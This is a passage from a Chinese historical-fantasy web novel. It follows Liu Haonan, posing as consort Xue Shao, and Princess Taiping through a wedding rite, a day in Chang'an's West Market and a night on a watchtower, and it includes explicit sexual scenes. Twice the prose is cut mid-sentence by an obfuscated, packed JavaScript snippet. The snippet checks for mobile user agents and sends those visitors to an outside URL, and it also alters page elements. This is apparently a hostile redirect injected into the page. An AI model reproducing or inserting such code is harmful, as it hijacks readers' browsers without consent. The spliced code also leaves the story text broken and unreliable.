最初的惊愕过后,太平心中涌起的,是一种复杂的情绪。这场景陌生,不合她熟知的任何礼制,甚至有些“粗鄙”。但紧接着,是连日来被冷落忽视的委屈,似乎在这一刻得到了某种笨拙却用心的回应——原来他并非全然不在意,只是用了这种古怪的方式?然后,是身为帝国公主的骄傲与一丝被取悦的隐秘欢喜:看,她的驸马,为了哄她,竟能弄出这般阵仗。最后,当那混合着焦香与酒气的热浪扑面而来时,一股更深层的、几乎源于本能的熟悉与亲近感,猝不及防地击中了她。这味道……这热烈到近乎蛮横的气息……仿佛在很久很久以前,在某个截然不同的地方,她也曾置身于类似的、充满力量与生命张力的场景中。这感觉让她微微恍惚,随即又被眼前刘皓南伸出的手、那沉稳的目光拉回现实。 她将手放入他掌心,姿态依旧优雅,下巴微扬,维持着公主的体面,但指尖在他掌心的轻轻一挠,泄露了那点被成功“讨好”后的小小得意与试探。 整个仪式过程,刘皓南主导着一切。他执她的手,洒酒敬火,动作流畅而充满力量感,带着一种不容置疑的、属于仪式主持者的权威。当十二名玄甲府兵踏着《破阵乐》的鼓点列阵而出时,他扣住她手腕的力道微微加重,那是一种宣告,一种展示,更是一种无声的补偿——看,这才是你的男人应该有的样子,能文能武,可掌案牍,亦可控弦列阵。当年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185077|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给不了你的风光与安全感,今日在这幻境中,以另一种方式补给你。 青庐帐内,烛火通明。当他展开婚书,写下“同牢”二字时,目光与太平探究的视线相触,坦然中带着深意。他引经据典,将代北风俗与《礼记》古义完美嫁接,让她挑不出错,反而觉得他用心至深。饮合卺酒时,他讲述那个“参商星辉下共饮,来世亦能重逢”的传说,眼神深邃如古井,仿佛透过她,看向某个遥远的、只有他自己知道的时空。 太平饮下酒,带着微醺的醉意和一丝被这陌生仪式撩拨起的好奇与兴奋,凑近他耳边,旧事重提,语气娇嗔。这是属于“太平公主”的试探,也是属于“杨排风”本能的、对亲密关系的小小“算账”。 而刘皓南的回应,则彻底撕开了白日里那层温文的伪装。那个带着酒意的、侵略性的吻,以及耳边沙哑的、充满暗示的低语,瞬间点燃了帐内的空气。这不是“薛绍”会做的,这是剥去所有伪装后,那个三十八岁、久居上位、骨子里带着北地皇族野性与军人强势的刘皓南,对他亏欠多年的妻子,最直接、最滚烫的补偿与占有。 赤蜡高烧,将两人交叠的身影放大投射在青庐粗糙的松柏墙壁上,晃动如同皮影戏。 刘皓南的动作带着一种近乎虔诚的急切,却又有着超乎年龄的沉稳掌控力。他细致地为她褪去繁复的外袍,指尖拂过重重锦衣下的肌肤时,带着薄茧的指腹每一次触碰,都激起她细微的战栗。当他将她裹在厚重的婚服中,隔着衣料细细“点数”那虚构的九十九粒黍米时,呼吸灼热地喷在她的颈侧,声音低沉沙哑,讲述着那个“百岁满,独缺一”的代北传说。每一个字,都像是烙在她的皮肤上,那是补偿,是誓言,更是穿越时空与身份迷雾的确认。 太平起初还带着公主的矜持与些许戏谑,但随着他强势而不失温柔的进犯,那种陌生的、充满侵略性的气息将她牢牢笼罩。她挣扎,踢蹬,却被他轻易制住手腕,压在头顶上方。烛光下,他额角渗出细密的汗珠,沿着紧绷的下颌线滚落,滴在她的锁骨,烫得她一颤。他的眼神深邃得骇人,里面翻滚着她看不懂的激烈情绪,痛苦、渴望、歉疚、不容置疑的占有欲……统统交织在一起,化作近乎凶狠的亲吻和抚摸。有那么几个瞬间,当他汗湿的胸膛紧紧贴着她,强劲的心跳透过相贴的肌肤传来,当她被他带入某种失控的漩涡,指尖深深掐入他紧绷的脊背肌肉时,一些破碎的、炽热的画面闪过脑海——不是锦绣帷帐,而是粗砺的营帐毡毯;不是熏香,而是汗水与尘土的气息;不是温柔的喃语,而是压抑的喘息和战鼓般的擂动…… “薛……薛郎……”她破碎地唤着,不知是在抗拒,还是在迎合这陌生的狂潮。 回答她的,是他更深的侵入和喉间压抑的低吼,仿佛困兽挣破牢笼。汗水濡湿了彼此,濡湿了身下冰凉光滑的虎皮。他将脸埋在她汗湿的颈窝,急促的呼吸拂过她的耳廓,手臂铁箍般将她锁在怀中,力道大得让她骨骼都有些发疼。那不是温柔缱绻,那是近乎绝望的确认和烙印。 寅时晨钟响起,帐内炽热的喘息渐渐平息,只余温暖的静谧和彼此交融的气息。太平蜷在他怀中,浑身酥软,意识朦胧间,感觉到他温热的手掌,以一种近乎小心翼翼的力道,缓缓抚过她平坦的小腹,久久停留。那触碰不带情欲,只有一种沉重的、难以言喻的温柔与悲伤。 当她起身对镜梳妆,他从身后执起螺子黛,为她画出那道斜飞的眉形,说出“平阳昭公主”的比喻时,铜镜中映出的,是她骤然亮起的、混合着惊异、恍然与被深深取悦的明媚笑靥。她夺笔在他掌心画下狼头,封他做“一辈子先锋大将”的娇嗔话语里,带着连她自己都未察觉的、属于另一个灵魂的飒爽与亲昵。 刘皓南看着她眼中纯粹的光彩,仿佛看到了当年那个在篝火旁,笑得毫无阴霾的少女。他握紧掌心那幼稚的狼头涂鸦,俯身吻上她的眉梢。 这一夜,青庐为帐,燎火为烛,虎皮为席。他是借“薛绍”的身份,行补偿之实的北汉皇孙;她是顶着“太平”之名,却在本能中触碰熟悉温暖的杨门女将。仪式是假的,场景是虚的,唯有此刻肌肤相亲的滚烫,汗水交织的真实,与那深埋于荒诞之下、挣扎求存的微弱情愫,在晨光熹微中,无声流淌。 50. 清明假期 卯时初刻,晨光熹微,淡金透过公主府寝殿茜纱窗,在地衣上投下朦胧光斑。刘皓南已是一身便于行动的玄色胡服,蹀躞带紧束,正为太平系着那件靛青圆领襕袍的最后一颗珍珠扣。他指尖抚过衣缘精美的联珠狩猎纹——这纹样是他凭记忆默出北汉宫廷库藏中某件沙陀风格锦袍的图案,又糅合了盛唐流行的联珠团窠形式,让尚服局秘密赶制。猎犬逐兔,骑士回身引弓,动态十足,细节处藏着草原的粗犷。他面上平静,只道是“见西域商队带来的新奇花样,似是代北团窠纹变体,衬殿下”。 太平由他伺候,目光却落在他蹀躞带悬着的一枚犀角杯上。趁他系扣,她倏地抽走,对着晨光细看杯底阴刻的蔓草卷花纹。“这纹路……”她指尖摩挲刻痕,抬眼时眸光明澈,“倒让本宫想起去岁元日宴,龟兹使团献乐时,那领舞胡姬手中金杯的底纹。薛郎何时得了这等精巧物件?鸿胪寺的故交所赠?” 她语气闲闲,却藏着一丝探询。刘皓南神色不动,自然取回杯子挂好:“殿下眼利。前几日路过西市,见一胡商摊上有此物,形制古朴,随手买下把玩罢了。殿下若喜欢,让下头人寻套更好的来。” 他将“随手”二字咬得平缓,太平瞥他一眼,未再追问,唇角几不可察地弯了弯。 辰时的长安西市,人潮如织,声浪与气味蒸腾出盛世的蓬勃。昨日清明,官民出城祭扫踏青,今日开市,更显拥挤。蒸饼摊白汽滚滚,混着隔壁烤驼蹄炉子里粗盐与孜然炙烤油脂的焦香;卖“毕罗”的胡人操着生硬官话吆喝,油锅滋滋作响;推车叫卖“奶酪樱桃冻”的小贩,清甜奶气混着果香飘散。 刘皓南与太平作富商打扮,混迹人流。太平的目光流连于各色摊贩,新奇雀跃几乎透纱而出。她在“张记胡饼”喷香的馕坑前驻足,看胡人师傅将面团甩得噼啪响贴入炉壁,不多时馕饼鼓胀焦黄。她侧身,很自然地掰下烫手的一角,隔着垂纱边缘,抬手精准地塞进刘皓南唇间。温热麦香混着芝麻焦脆触及味蕾,刘皓南尚未咀嚼,那靛青身影已如游鱼滑入旁边围观“吞刀吐火”的人群,帷帽顶一晃即逝。 刘皓南咽下带着她指尖淡香的饼渣,拨开人群。吐火艺人正鼓腮喷油,烈焰腾起,众人惊呼。火光耀目瞬间,刘皓南眼尖,瞥见艺人破旧皮甲下金属冷光一闪——是精良锁子甲的细密反光!他心下一凛,再寻太平,那抹靛青已没入拐角胡商香料摊区,浓郁蔷薇水与没药香气氤氲成迷离雾障。 未时三刻,他们踏入西市最喧嚷的“胡姬酒肆”。中庭波斯毯圆台上,乐声正炽。羯鼓如骤雨,琵琶弦急如珠落玉盘,筚篥声凄清悠扬。台中央,一位碧眼雪肤、高鼻深目的胡姬,正随乐飞旋。 她身着一袭石榴红鲛绡纱舞衣,薄如蝉翼,旋转间惊心动魄。金线绣出的蔓草纹缠绕臂膀腰肢,而最夺目的是她腰际与足踝上数圈细金链,缀满小铃。每一记扭胯、摆臂、疾旋,金铃便爆出清越密集的脆响,与乐声交织成靡丽诱人的网。她碧眸流转,眼波勾魂摄魄,扫过台下如痴如醉的宾客。舞至酣处,她反手摘下面纱抛向席间,那红纱缘角金铃叮咚,不偏不倚扫过太平膝头。 刘皓南目光一凝。那金铃制式、大小、音色……竟与太平腕间常戴的那对赤金钏坠饰小铃,如出一辙!那是他“偶得”于西域商队,送她时只说“铃音清脆,添些趣味”。 太平指尖拨弄膝头随面纱滑落的金铃,端起鎏金杯浅啜一口葡萄酿,唇边留下一点湿痕。她忽地靠近,扣住他执杯的手腕,吐气如兰,声仅二人可闻:“薛绍,” 她眼波斜睨台上,“你瞧这胡姬,腰肢这般软,眸色这般活,比之上月韦阿嫂寿宴,教坊司献的那曲《绿腰》,孰高孰低?” 刘皓南未及答,台上胡姬一个惊险下腰,身如折柳,石榴裙轰然绽如倒垂红莲,胸前璎珞荡起,几欲掠过前排宾客鼻尖。满堂喝彩鼎沸,钱币抛洒叮当。 就在这片喧嚣炽热中,太平忽以袖掩口,蹙眉道:“这葡萄酿后劲足,熏得人头沉。本宫去更衣处稍歇。” 不待他应,便起身,靛青襕袍消失在通往后院的锦帘后。 刘皓南目送她离去,目光转回舞台。胡姬已舞起更疾的曲子,铃声响作一片。他看似专注,心神已分。更衣处不过后院角落简易围帐。 时间流逝,一曲柘枝舞将尽,太平未归。刘皓南指尖轻弹杯壁,一声清响无人察觉。他起身离席,穿过喧嚣人群。后院酒瓮酸腐气隐约,角落“更衣”帷幔低垂,寂然无声。 “殿下?” 低唤无应。 他掀帘,内唯铜盆清水,太平人影全无。 刘皓南眼神骤冷,身形掠出,目光如电扫过院落每个角落——杂物阴影、晾晒布帛、石榴树后……皆无那抹靛青。忽地,他目光定在石榴树下松软泥土上一点银光。疾步上前拾起,是一支素银发钗,太平今日所簪。几步外,一堆破旧毡毯下露出一角熟悉靛青。掀开,正是太平出门所穿圆领襕袍,被胡乱团塞其下。 衣在人渺。冰冷预感沿脊攀升。 申时末,日头西斜,东市屋瓦染金。喧嚣渐歇,商铺陆续上门板。刘皓南立于东市“望楼”之下。此楼乃官府所设,瞭望火警监察市井,砖木高筑,平日有兵丁值守,然今日清明假期,守卫松懈。 他仰首,目光掠过层层飞檐。暮色渐沉,飞檐阴影浓如泼墨。最高层栏杆旁,一抹火焰般灼目的红,攫住他视线——正是与那胡姬所着的石榴红舞衣同款衣物。而穿着这身单薄艳丽、在暮色中如残阳泣血般夺目舞衣,赤足立于望楼栏杆之上的,竟是太平! 夜风渐起,拂动那件为舞姿而制、用料极省、仅关键处缀以金线宝石的鲛绡红衣。臂膀、腰肢、一截小腿皆暴露在微凉晚风中,那抹红衬得她裸露的肌肤愈发莹白晃眼。她浑然不觉寒意,亦似无视脚下令人目眩的高度,只微微张开双臂,如浴火之凤栖于危栏。 “薛绍,” 声音顺风飘下,带着空灵异样,腰间金铃随体微晃,清碎作响,“你瞧,方才那胡姬旋起来……可像断了线的纸鸢?随风乱转,不知归处。” 不待他应,栏上那抹红衣倏然而动。非跃下,乃就着窄栏,陡然展臂!石榴红缀金广袖“唰”地展开,如凤凰亮翼。紧接着,一阵绝非胡姬柔媚的、急促如羯鼓、铿锵若铁马踏冰河的铃声,骤然炸响! 非诱惑铃音,而是充满力量与节奏、战鼓般的轰鸣!铃声自她腰、腕、足踝迸发,更来自每一记充满爆发力的动作——蹬踏、拧身、扬臂、回旋!她在窄栏起舞,大开大合,矫健近含攻击之美。红裙翻飞如烈焰怒燃,金铃不再是点缀,而成兵刃一部,随动作划破空气,发出锐啸。 当她凌空翻跃,裙摆掠过望楼斗拱上狰狞嘲风兽首的刹那,檐角灯笼光恰好照亮了她的脸。刘皓南的心脏,在那一瞬间,仿佛被一只无形的手狠狠攥住,停止了跳动。 那是“太平公主”的容颜,却更是他记忆中,初遇时的杨排风。 不是后来那个眉宇间总笼着轻愁、因未婚先孕承受流言,因他执着于天门阵而日夜忧心,最终饱经风霜的杨排风。而是更早,在边关凛冽的风沙与天波府灿烂的阳光下,那个鲜活、明媚、带着未经世事磋磨的纯粹骄傲与生命力的少女模样。他见过她练枪时汗湿的额发,见过她大笑时弯起的眉眼,却从未见过她如此……肆意张扬,仿佛天地间所有光华都汇聚于这纵情一跃、这充满野性与美感的舞姿之中。这具年轻矫健的身体,每一个充满力量的伸展与腾跃,都在唤醒他心底最深处的记忆与……尖锐的痛楚。 原来,她年少时,若无所顾忌,本该是这样。 这认知带着滚烫的愧疚与一丝卑微的庆幸,撕裂了他强自维持的平静。是他,是他复兴北汉的执念,是他开启天门阵的疯狂,将那个明媚的少女拖入了无边的纷争与苦楚。阵破之时,他几近身死道消,只能假死脱身,留她一人面对风雨飘摇。再相见时,她眼中已染风霜,笑容里也带了沉重的意味。而此刻,在这荒诞的幻境里,顶着这具年轻娇艳的躯壳,她竟能跳出这般毫无阴霾、充满原始生命力的舞蹈。仿佛一切苦难都未曾发生,她依旧是那个可以肆意飞扬的杨家女将。 “在此时此处……能再见你这般模样……” 这念头酸涩难当,却又有种近乎贪婪的悸动。他凝视着栏杆上那抹如火的身影,目光贪婪地描摹着她每一个充满活力的瞬间,仿佛要将这失而复得的、短暂的光景,深深镌刻进心底。 “殿下这舞……” 他声音干涩,喉结剧烈滚动了一下,强压下翻涌的心绪,试图用最平静的语调评断,“比那胡姬……多了三分剑气。” 他选了个模糊的词,试图掩盖那几乎要冲破胸腔的复杂情感。 栏杆上身影骤停。太平单足立栏,一足后抬,双臂舒展如鹤,微微侧首俯视。旋即,她动了,非轻盈跃下,而是携着未歇的战鼓铃音余韵,如一团坠落的火焰,精准轻巧地落在刘皓南面前三尺屋檐。 那身单薄红衣在如此近距离下,几乎透明。晚风拂过,轻纱紧贴,勾勒出每一处惊心动魄的曲线,裸露的肌肤在暮色中泛着珍珠般的光泽,覆着一层细密的汗珠,散发出混合酒气、汗意与她自身清冽气息的味道。她伸手,指尖带着运动后的微热,猝然扣住刘皓南手腕,不容抗拒地牵引他手指,抚上自己汗湿的脖颈。 指尖触及温腻潮润的肌肤。刘皓南身体几不可察地一僵。 太平恍若未觉,引他手指自颈侧滑下,经锁骨,最后停留在那系着数圈金铃的腰链暗扣处。她压低声音,带着舞后微喘与近乎挑衅的意味,贴着他耳廓:“薛驸马好眼力,可瞧出这铃铛的妙处?这系法,这暗扣……” 她用力按压他指尖,让他清晰感受卡榫独特的、狼首般的凸起,“长安工匠,可会打这等……契丹骑兵鞍鞯上才用的狼首卡扣?” “契丹”二字入耳,刘皓南瞳孔骤缩!指尖触感确凿——是典型的契丹工艺,为鞍鞯稳固设计的狼首暗扣,坚固巧妙!绝不该现于西域舞衣,更不该被太平如此精准点破! 戌时更鼓声闷闷传来,穿透渐静街巷,隐约飘至高耸望楼。 太平话音未落,刘皓南已反扣她手腕,力道令腕间金铃乱响。另一臂揽住她仅覆薄纱、微汗的腰肢,猛带入怀,转身几步,将她抵在望楼最高处、彩绘梁枋与厚重斗拱形成的幽暗夹角。此处远离栏杆,下临渐次亮起、如地上星河的长安灯火,上覆斑驳彩画,隐蔽而窒息。 此吻来得凶猛急促,毫无征兆。挟着未消的惊悸、隐秘被揭的焦灼,以及更深层——被那融合异域妖娆与旧识锋锐的舞姿所激起的、惊心动魄的惊艳,与汹涌澎湃的、几乎要将他淹没的补偿欲与占有欲。他重重碾过她唇瓣,撬开齿关,长驱直入,舌尖尝到她颈侧滑落的微咸汗意、葡萄酿残存的甜涩与她自身清冽气息。单薄红衣几无阻隔,掌心滚烫与她肌肤微凉对比鲜明。这身躯是如此年轻,充满弹性与活力,是他记忆中最初的模样,却披着幻境的华美外衣,在他怀中真实地颤抖、发热。这认知让他吻得更深,仿佛要将所有错失的时光、所有亏欠的炽热,都倾注于此。 太平闷哼一声,眸中却迸出更亮的光。她非但不拒,反勾住他脖颈,另一手摸索扯落他束发玉冠。墨发披散,与她发间、腰间垂落的金铃绦带纠缠,簌簌滑落梁枋阴影。 呼吸交错间,她喘息着,带笑气音拂过他耳畔:“方才……那胡姬旋时,腰铃统共响了几声?薛驸马……可数清了?” 这没头没脑、带着情动微哑与刻意刁难的问题,让刘皓南呼吸一重,眼底暗潮翻涌。他不答,骤然托住她腰臀,在她低呼中将她举抱而起,轻而易举翻上最高处那根粗大、绘迦陵频伽纹的主椽。此处更窄,视野却奇异地开阔,脚下东市灯火如倒悬星河。 太平脊背贴上冰凉坚硬彩椽,轻颤。金铃随动作碎响,在这寂静高处格外清晰。她望下方遥远如萤的光点,忽轻笑出声,声线飘忽:“薛绍,你当年在鸿胪寺,接待那些鼻子翘上天的契丹使臣时……可曾听他们夸耀,其骑兵于草原夜色,用特制铃铛传讯的秘法?” 她侧脸,被吻得嫣红的唇几乎贴上他下颌,眼中闪着狡黠迷离的光,似醉后戏言。 刘皓南的吻变得凶悍,带惩罚意味堵住她后续可能更危险的话语。掌心探入那几乎不存的红色鲛绡下摆,沿她因属于杨排风身体记忆而柔韧紧实的腰线游走,抚过光滑肌肤上几处细微旧疤——似是箭矢或利器擦过的淡色痕迹。指尖在疤痕上反复流连,带着近乎疼痛的温柔与更深沉的、渴望确认什么的焦灼。这身体,这伤痕,都是真的,是排风历经沙场的证明。可这年轻的、充满弹性的肌肤,这毫无阴霾的、带着挑衅的眼神……又是幻境赐予的、残酷而美丽的错觉。 远处巡夜金吾卫脚步声与悠长梆子声由远及近,又渐行渐远。椽木阴影里,太平终于抑不住仰首,喉间逸出破碎呜咽,被她自己狠狠咬在他肩头堵回。极致感官冲击与灵魂震颤的间隙,刘皓南仿佛听到,从她压抑喉间,滚出半句模糊的、带战鼓铿锵节奏的音节——那调子,分明是《秦王破阵乐》最激昂的一段鼓点!那是刻在杨排风骨子里的旋律,是属于战场、属于天波府的记忆,竟在此刻,以此种方式泄露。 子夜钟声自远处佛寺荡开,悠悠漫过沉睡长安,漫过高高望楼上这对在夜风中汗水微凉、气息未匀的男女。 太平不知何时已拆下一串金铃,正用铃铛边缘坚硬棱角,抵在刘皓南紧绷后背,慢慢划动。冰凉金属划过温热皮肤,带来阵阵细微战栗。她画得专注,长睫垂下投下小片阴影。夜风穿高檐,惊动铁马,发出零星清脆叮当,与她手中残铃微晃清响交织,成一段空灵寂寥夜曲。 “若今夜……” 太平忽停手,抬起湿漉漉眼睫,望脚下那片沉睡城池星河,声音轻如梦呓,“若此刻,真是清明沐休的始日……” 太平的声音带着激烈亲吻后的微喘与一丝不稳的气息,指尖无意识地描摹着他颈侧加快搏动的脉搏,那急促的节奏与她自己的心跳交织,在寂静的高楼角落清晰可闻。她顿了顿,抬起犹带水汽的眼睫,望向脚下渐次亮起、汇成一片朦胧灯海的长安里坊,声音轻得像叹息,却又藏着几分不易察觉的、被夜风吹得微凉的委屈与试探,“……往后几日,既无需点卯,也不必再对着兵部那些冗杂枯燥的弓弩图样、驿传文书,熬到漏尽更残了吧?” 她微微侧过脸,下颌轻轻抵在他肩头,温热的吐息拂过他耳廓,语气掺进一点恰到好处的、类似埋怨的娇嗔,目光却清明地锁着他的反应:“薛郎前些时日,埋首案牍,钻研律例典章,将‘勤勉克己’四个字,践行得比那些御史台的言官还要彻底……倒叫本宫,快忘了休沐时节,寻常夫妻是如何排遣辰光的了。” 她的指尖从他颈侧滑下,若有似无地划过他衣襟微敞处露出的锁骨,最终停在他胸膛因方才纠缠而略显急促起伏的中央,指尖微微蜷起,带着一种小心翼翼的依赖,又像无声的催促。 “今夜这般……登高临远,倒是畅快。” 她将方才的惊险与那个几乎失控的吻轻描淡写地带过,眼波流转间,带着一种属于帝国公主的、理所当然的矜持索求,以及深藏的、对他能否领会并“补偿”的期待,“只是,这难得的、完整的休沐……薛驸马是打算继续‘精研’你的公务律例,” 她稍稍拖长了语调,指尖在他心口画了个无意义的圈,“还是……偶尔也肯拨冗,思量些别的、更合这假期的……‘章程’?” “章程”二字,她说得又轻又慢,尾音带着一丝气息不稳的微颤,像一片被风拂过的羽毛,轻轻搔刮过心尖。既暗示了“驸马于休沐时应陪伴公主”的本分,又留下了无限暧昧的、供他“思量”与“安排”的余地。她将选择权看似交给了他,实则已委婉地表达了不满与期望——假期方始,你之前“勤勉”得有些过甚,如今总算得闲,总该好好想想,该如何“安排”这几日,才算不负春光,不负……眼前人。 她问得飘忽,却似含千言万语。是问这离经叛道一夜后,回那华丽牢笼的“薛绍”与“太平”如何相对?是问这偷来的、混杂惊险与灵魂震颤的欢愉后,日益明显的裂痕与熟悉感如何面对?亦是问这幻境中,假面之下,两颗挣扎灵魂的明日归途? 刘皓南未答。他只蓦地翻身,将这犹带夜风凉意、金铃碎响与迷茫眼神的女子,更紧地拥入怀中。随即,他扣住她那只犹握金铃、在他后背无意识划动的手,将它连同微凉金铃,一并用力地、紧紧地,按在自己赤裸的、犹存汗意与彼此体温的胸膛左侧。 掌心之下,隔温热皮肤,是他那颗心脏,正以沉重、急促、若战前擂鼓的节奏,疯狂搏动——砰!砰!砰!搏动之力,透过相贴肌肤,毫无保留传递她掌心,震得她指尖发麻。 一切无需言语。所有惊涛骇浪,所有真假疑惧,所有补偿与试探,侵占与交付,过去与此刻,都在这狂野心跳声中,得到最原始、最直接、亦最无力的回应。 恰此时,东北方向某处里坊,一盏温暖橙红的孔明灯,晃晃悠悠升起,渐高渐远,融入深蓝夜空,化一颗温柔星子。那朦胧光晕掠过望楼高檐,亦掠过太平微汗的、线条优美的锁骨,在细密汗珠上折射出碎钻般的光芒,恍然间,令人忆起敦煌壁画上,飞天神女臂弯间摇曳的、流光溢彩的宝石璎珞。虚幻,易碎,却又在那一刻,美得惊心动魄。 坊门闭锁的沉闷撞击声自远处层层传来,铜环与厚重木门相叩的“哐啷”闷响,在寂静的深夜里格外清晰,宣告着宵禁的开始,也意味着他们今夜被彻底“困”在了这东市之中。几乎在坊门落锁的余音尚未散尽时,望楼下方已传来巡夜兵丁整齐的脚步声与铠甲摩擦的轻微声响——金吾卫的定时巡逻,开始了。 声响传来时,太平正将腕间解下的一串金铃,慢条斯理地缠绕在刘皓南的手腕上。冰凉的金属链条贴上皮肤,带来细微的战栗。她忽然倾身靠近,那身石榴红舞衣上缀着的细碎金箔,随着她的动作折射出从檐角灯笼漏进的微光,恰好掠过他上下滚动的喉结。她的气息拂过他颈侧,带着葡萄酿的微醺和一种清醒的挑衅:“薛驸马博览群书,可曾读过《卫公兵法》中那句至理名言?” 她顿了顿,指尖不紧不慢地顺着刘皓南玄色胡服的交领襟口滑入,不偏不倚,正点在他心口一处旧疤上。那疤痕颜色略深,是箭簇留下的痕迹。“‘置之死地而后生’。” 她的指尖带着高处的夜寒与微凉,隔着薄薄的中衣,准确按压在那道旧伤上,仿佛在丈量它的深度与过往。“比如现在——” 她抬眸,眼波在昏暗的光线下流转,既有属于太平公主的骄矜,又藏着某种更深、更野性的试探,“坊门已闭,归路断绝。本宫这身衣裳……” 她另一只手轻轻扯了一下几乎透明的鲛绡纱袖,夜风立刻灌入,激起她肌肤一阵细微的颤栗,声音却依旧带着漫不经心的笑意,“怕是抵不住这春夜寒露。薛郎熟读兵书,通晓古今,此刻是该学那裴将军雪夜奇袭,速战速决,擒得……‘暖意’归?还是效仿曹子建,对着洛水之神,空作缠绵悱恻的辞赋,冻到天明?” 刘皓南的目光扫过下方渐近的巡逻火光,没有丝毫犹豫,手臂一揽,扣住太平的腰肢,足尖在栏杆上一点,身形如夜枭般悄无声息地拔起,瞬间隐入了望楼最高处交错粗大的梁柱阴影之中。这里空间极为狭窄,两人几乎紧贴在一起,挤在彩绘斑驳的梁枋与冰冷屋瓦的夹角里。 子时的望楼彻底没入黑暗,只有远处里坊零星未熄的灯火,将那微弱摇曳的光,投射在太平腰间金链镶嵌的金属片上,反射出幽暗迷离的光晕。巡逻士兵的脚步声和低语从下方很近的地方经过,又渐渐远去。寂静重新笼罩,而高处的夜风更加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185078|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砭骨。太平似乎真的觉得冷了,不着痕迹地瑟缩了一下,却刻意将滑落的红色鲛绡纱袖撩至肘间,露出一截小臂。那手臂肌肤莹润,但在靠近手腕处,却有一小片颜色略浅、形状不规则的旧痕,不似中原常见的伤疤。“啧,” 她轻吸一口气,声音带着点恰到好处的埋怨,却又勾着一丝笑,仿佛在抱怨自己之前“要美丽不要温度”的决定,但姿态依旧骄矜,“冷得很……薛郎掌管过一阵子内府库藏,可还记得三年前,安西都护府进贡的那张极品白狐裘?通体雪白无一根杂毛,据说置于雪地,覆之如春。” 她的目光意有所指地扫过刘皓南身上那件质料厚实、做工精良的玄色外袍,暗示得再明显不过——此刻,他就是那张“白狐裘”。 刘皓南沉默地看了她片刻,她裸露的肩臂在夜风中微微发抖,唇色也有些发白。他终是抬手,解开了自己外袍的系带。动作间,太平的足尖状似无意地一勾,将之前遗落在下方梁间的那幅石榴红锦缎裙裾挑起。绛红色的华丽锦缎如水瀑般展开,精准地飘落,堪堪盖住了两人紧贴的膝头区域,在清冷的月光和遥远的灯火映照下,像一小片骤然绽放的、不合时宜的暖色。她腕间的金铃随着细微的动作轻轻作响,叮铃、叮铃,与远处传来的、沉闷的报更梆子声交织在一起,仿佛某种秘而不宣的夜语。 丑时的更鼓声闷闷地滚过长安城的上空。就在这更鼓余韵里,狭小空间内的温度似乎因彼此贴近而回升,太平忽然凑近,用牙齿轻轻咬住了刘皓南中衣领口的系带。微微一用力,丝质系带松开,她的唇瓣顺势擦过他肋间一处颜色略淡的新月形疤痕。湿热的气息喷洒在敏感的旧伤处,她含糊地轻笑,带着探究:“唔……听闻突厥骑兵的弯刀,最爱挑对手肋下此处下手,以求破甲伤肺……薛郎这道疤的形状,倒不似寻常刀剑所伤,细看弧度,倒像是凉州一带传闻的‘破云刀’路数所赐?” 刘皓南身体几不可察地一僵,猛地擒住了她那只悄然探向他腹下、意图作乱的手腕。他的力道不轻,带着制止的意味。然而,太平手腕以一种不可思议的柔韧角度一转,反以胡旋舞中常见的缠腕柔劲,如灵蛇般绕上了他的臂膀,不仅轻松卸了力道,反而形成了更紧密的纠缠。动作间,本就松垮的舞衣肩带彻底滑落,露出她左侧肩胛处一小片肌肤,以及上面一个颜色很淡、却形状规整的星芒状旧创。她喘息着,将另一只手上缠绕的金链顺势环上他的后颈,拉近彼此的距离,吐气如兰,声音压得低而媚,带着明目张胆的挑衅:“此处幕天席地,星光低垂如盖,又无闲杂人等……薛驸马饱读诗书,通晓礼法规矩,难道……不敢应战么?” 她刻意咬重了“规矩”二字,眼波流转,既有公主的骄纵,又藏着一种“我知你顾虑,但我偏要”的顽劣,以及更深处的、对他近来因忙于“学习”各种规矩而对她有所“冷落”的隐秘不满与试探。 “殿下,” 刘皓南的声音在夜色里显得有些低沉沙哑,他反手将她作乱的手腕扣住,压在了身侧冰凉坚硬的椽木上,鼻尖几乎抵上她衣领间蒸腾出的、混合了汗意、酒气与冷香的暖融融气息,“若再乱动,” 他顿了一下,目光锁住她近在咫尺、闪烁着跃跃欲试光芒的眼睛,一字一句道,提醒着彼此的身份与处境,“臣不介意,明日让御史台的奏章,或是《刑部疏议》的案卷里,添上一条‘驸马都尉薛绍,夜秽望楼,有辱斯文’的记档。” 他已熟知唐律,更清楚身为驸马,与公主公开场合行为不谨,甚至“秽乱”宫观高楼,会招致何等严厉的弹劾与惩罚。公主或许只是被申饬,而他这个“外臣”驸马,轻则罚俸贬官,重则……他必须克制。 话音未落,太平忽然仰头,含住了他近在咫尺的耳垂,不轻不重地用齿尖啮了一下,与此同时,屈起的膝头似乎“不经意”地蹭过了他腰腹下方某个已然紧绷的位置。她含糊地笑,带着得逞的狡黠和一丝因他“不解风情”而起的微恼。 …… 远处传来第一声坊门初启的梆子响,沉闷而悠长,尚未完全落定,下方巡逻的士兵也似乎换过了班次。刘皓南不再犹豫,揽着怀中人纤细却柔韧的腰肢,如同夜行的巨鸟,悄无声息地滑下了高高的望楼,掠过重重屋脊。太平赤着足,踩过被晨露浸得微凉的鸳鸯瓦,发出细微的窣窣声。那幅被当作“毯子”的绛红锦缎,被她匆匆在腰间系了个结,勉强遮住膝上三寸,随着她的动作,在微明的天光中划出惊心动魄的弧度。 